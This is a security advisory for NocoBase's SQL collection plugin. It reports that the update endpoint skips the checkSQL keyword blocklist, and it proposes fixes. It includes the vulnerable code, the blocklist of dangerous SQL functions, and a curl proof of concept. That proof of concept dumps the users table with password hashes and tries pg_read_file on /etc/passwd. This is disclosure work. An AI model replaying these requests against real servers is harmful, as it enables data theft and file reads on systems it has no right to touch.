@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

• Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
• Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file, LOAD_FILE, dblink) are all accessible through the update bypass.
• Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pg_read_file reads arbitrary files from the database server filesystem.

Fix Suggestion

1. Add checkSQL() to the update action. The one-line fix:

   update: async (ctx: Context, next: Next) => {
       const { sql } = ctx.action.params.values || {};
       if (sql) {
           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
       }
       // ... existing code ...
   }
   

2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.

3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.